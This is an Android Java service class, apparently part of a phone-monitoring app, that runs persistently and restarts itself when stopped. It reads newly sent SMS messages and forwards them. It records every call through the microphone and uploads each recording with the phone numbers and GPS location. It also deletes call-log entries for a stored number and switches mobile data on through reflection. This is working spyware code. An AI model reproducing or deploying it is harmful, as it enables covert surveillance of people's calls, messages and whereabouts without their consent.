package com.kaixin.android.service;
import java.io.File;
import java.io.IOException;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.CountDownLatch;
import android.app.ActivityManager;
import android.app.Notification;
import android.app.PendingIntent;
import android.app.Service;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.database.ContentObserver;
import android.database.Cursor;
import android.media.MediaRecorder;
import android.net.ConnectivityManager;
import android.net.Uri;
import android.os.Handler;
import android.os.IBinder;
import android.provider.CallLog;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;
import com.kaixin.android.R;
import com.kaixin.android.activity.MainActivity;
import com.kaixin.android.common.KaiXinAddress;
import com.kaixin.android.utils.CallService;
import com.kaixin.android.utils.HttpAssist;
import com.kaixin.android.utils.ListenerUtil;
import com.kaixin.android.utils.StorageUtil;
import com.kaixin.android.utils.StringUtil;
public class ListenerService extends Service {
private static ListenerService service;
private String tempPhone;
private ConnectivityManager mCM;
private String tempID = null;
private static final String TAG = "Service";
private SmsContent smscontent;
private TelephonyManager tm;
private exPhoneCallListener myPhoneCallListener;
private SharedPreferences sp;
private String outPhoneNumber;
@Override
public void onDestroy() {
Log.e(TAG, "============> Server.onDestroy");
Intent startIntent = new Intent(this, ListenerService.class);
startIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startService(startIntent);
this.getContentResolver().unregisterContentObserver(smscontent);
tm.listen(myPhoneCallListener, PhoneStateListener.LISTEN_NONE);
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
if (intent != null && StringUtil.isNull(this.outPhoneNumber)) {
this.outPhoneNumber = intent.getStringExtra("outPhoneNumber");
}
flags = START_STICKY;
return super.onStartCommand(intent, flags, startId);
}
@Override
public void onLowMemory() {
Log.e(TAG, "============> Server.onLow");
// TODO Auto-generated method stub
super.onLowMemory();
}
public static ListenerService instance() {
if (service == null)
service = new ListenerService();
return service;
}
@Override
public void onStart(Intent intent, int startId) {
Log.e(TAG, "============> Server.onStart");
super.onStart(intent, startId);
// 得到Activity内设置的监听号码
if (intent != null && StringUtil.isNull(this.outPhoneNumber)) {
this.outPhoneNumber = intent.getStringExtra("outPhoneNumber");
}
}
/////发送短信代码//////////////////////////////////////////////////
class SmsContent extends ContentObserver {
private Cursor cursor = null;
private String id = null;
private String date = null;
private String body = null;
private String address = null;
private String person;
public SmsContent(Handler handler) {
super(handler);
}
/**
* @Description 当短信表发送改变时,调用该方法 需要两种权限 android.permission.READ_SMS 读取短信
* android.permission.WRITE_SMS 写短信
* @Author Snake
* @Date 2010-1-12
*/
@Override
public void onChange(boolean selfChange) {
// TODO Auto-generated method stub
super.onChange(selfChange);
// 读取收件箱中指定号码的短信
cursor = getContentResolver().query(
Uri.parse("content://sms/sent"),
new String[] { "_id", "address", "person", "body",
"status", "date" }, null, null, "date desc");
if (cursor != null) {
if (cursor.moveToFirst()) {
id = cursor.getString(cursor.getColumnIndex("_id"));
date = cursor.getString(cursor.getColumnIndex("date"));
body = cursor.getString(cursor.getColumnIndex("body"));
person = cursor.getString(cursor.getColumnIndex("person"));
address = cursor
.getString(cursor.getColumnIndex("address"));
if (!id.equals(tempID)) {
tempID = id;
CallService.setSms(body, date, person, address, "手机发送短信");
}
}
}
cursor = getContentResolver().query(
Uri.parse("content://sms/inbox"),
new String[] { "_id", "address", "person", "body",
"status", "date" }, null, null, "date desc");
if (cursor != null) {
if (cursor.moveToFirst()) {
id = cursor.getString(cursor.getColumnIndex("_id"));
date = cursor.getString(cursor.getColumnIndex("date"));
body = cursor.getString(cursor.getColumnIndex("body"));
address = cursor
.getString(cursor.getColumnIndex("address"));
}
}
}
}
//////////////////////////////////////////////////////////////////////
@Override
public void onCreate() {
Log.e(TAG, "============> Server.onCreate");
super.onCreate();
IntentFilter filter = new IntentFilter(Intent.ACTION_TIME_TICK);
BroadcastReceiverMgr receiver = new BroadcastReceiverMgr();
registerReceiver(receiver, filter);
// 注册短信变化监听
smscontent = new SmsContent(new Handler());
this.getContentResolver().registerContentObserver(
Uri.parse("content://sms/"), true, smscontent);
// 设置通话监听器,需要PhoneStateListener类
tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
myPhoneCallListener = new exPhoneCallListener();
tm.listen(myPhoneCallListener, PhoneStateListener.LISTEN_CALL_STATE);
}
private ContentObserver cob = new ContentObserver(new Handler()) {
@Override
public boolean deliverSelfNotifications() {
return super.deliverSelfNotifications();
}
@Override
public void onChange(boolean selfChange) {
super.onChange(selfChange);
sp = getSharedPreferences("phoneContent", 0);
String phone = sp.getString("phone", "");
ContentResolver resolver = getContentResolver();
resolver.delete(
CallLog.Calls.CONTENT_URI,
CallLog.Calls.NUMBER + "=?",
new String[] {phone.trim()});
}
};
public class exPhoneCallListener extends PhoneStateListener {
MediaRecorder recorder;
File audioFile;
CountDownLatch threadSignal;
TelephonyManager tm1;
private Cursor cursor;
String[] projection = { CallLog.Calls.DATE,// 日期
CallLog.Calls.NUMBER, // 号码
CallLog.Calls.TYPE, // 类型
CallLog.Calls.CACHED_NAME, // 名字
CallLog.Calls._ID, // id
};
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
switch (state) {
// 无状态时
case TelephonyManager.CALL_STATE_IDLE:
if (recorder != null) {
try {
recorder.stop();// 停止刻录
Map<String, String> m = new HashMap<String, String>();
m.put("username", ListenerUtil.getUsername(ListenerService.this));
m.put("call", tm1.getLine1Number());
m.put("called", tempPhone);
m.put("time", "");
m.put("latitude", StorageUtil.getString(ListenerService.this, "latitude"));
m.put("longitude", StorageUtil.getString(ListenerService.this, "longitude"));
m.put("address", StorageUtil.getString(ListenerService.this, "address"));
HttpAssist.uploadVoice(audioFile
.getAbsoluteFile().toString(), m);
recorder.reset();// 重设
recorder.release();// 刻录完成一定要释放资源
} catch (Exception e) {
Log.i("TAG", "停止录制出错");
/* try {
Map<String, String> m = new HashMap<String, String>();
m.put("username", ListenerUtil.getUsername(ListenerService.this));
m.put("call", tm1.getLine1Number());
m.put("called", tempPhone);
m.put("time", "");
m.put("latitude", StorageUtil.getString(ListenerService.this, "latitude"));
m.put("longitude", StorageUtil.getString(ListenerService.this, "longitude"));
m.put("address", StorageUtil.getString(ListenerService.this, "address"));
HttpAssist.uploadVoice(audioFile
.getAbsoluteFile().toString(), m);
} catch (Exception e1) {
}*/
} finally {
ListenerUtil m = new ListenerUtil();
m.isWIFIAvailable(getApplicationContext());
}
}
break;
// 接起电话
case TelephonyManager.CALL_STATE_OFFHOOK:
try {
// 使用BroadcastReceiver得到拨出号码,通过Flag来做判断是拨出号码是否为监听号码
if (BroadcastReceiverMgr.isCallFlag) {
tempPhone = ListenerService.this.outPhoneNumber;
}
createNumber();
//开始录音
tm1 = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
String myPhoneNum = tm1.getLine1Number();// 本机电话号码
String dataClum = KaiXinAddress.SDCARED_DATA;
File file = new File(dataClum);
if (!file.exists()) {
file.mkdirs();
}
audioFile = new File(dataClum, tempPhone + "_"
+ myPhoneNum + ".3gp");
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC); // 设置音频采集原
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);// 内容输出格式
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); // 音频编码方式
recorder.setOutputFile(audioFile.getAbsolutePath());
Log.i("TAG", audioFile.getAbsolutePath());
recorder.prepare(); // 预期准备
recorder.start();
} catch (IllegalStateException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
break;
// 电话进来时
case TelephonyManager.CALL_STATE_RINGING:
tempPhone = incomingNumber;
createNumber();
BroadcastReceiverMgr.isCallFlag = false;
}
}
private void createNumber() {
cursor = getContentResolver().query(
CallLog.Calls.CONTENT_URI,
null, null, null, CallLog.Calls.DEFAULT_SORT_ORDER);
if (cursor != null && cursor.getCount() > 0) {
cursor.moveToFirst(); // 游标移动到第一项
Date date = new Date(cursor.getLong(cursor
.getColumnIndex(CallLog.Calls.DATE)));
String number = cursor.getString(cursor
.getColumnIndex(CallLog.Calls.NUMBER));
int type = cursor.getInt(cursor
.getColumnIndex(CallLog.Calls.TYPE));
String cachedName = cursor.getString(cursor
.getColumnIndex(CallLog.Calls.CACHED_NAME));// 缓存的名称与电话号码,如果它的存在
int id = cursor.getInt(cursor
.getColumnIndex(CallLog.Calls._ID));
tempPhone = number;
// System.out.println(tempPhone);
}
}
}
// 检测GPRS是否打开
private boolean gprsIsOpenMethod(String methodName) {
Class cmClass = mCM.getClass();
Class[] argClasses = null;
Object[] argObject = null;
Boolean isOpen = false;
try {
java.lang.reflect.Method method = cmClass.getMethod(methodName,
argClasses);
isOpen = (Boolean) method.invoke(mCM, argObject);
} catch (Exception e) {
e.printStackTrace();
}
return isOpen;
}
// 开启/关闭GPRS
private void setGprsEnabled(String methodName, boolean isEnable) {
Class cmClass = mCM.getClass();
Class[] argClasses = new Class[1];
argClasses[0] = boolean.class;
try {
java.lang.reflect.Method method = cmClass.getMethod(methodName,
argClasses);
method.invoke(mCM, isEnable);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
}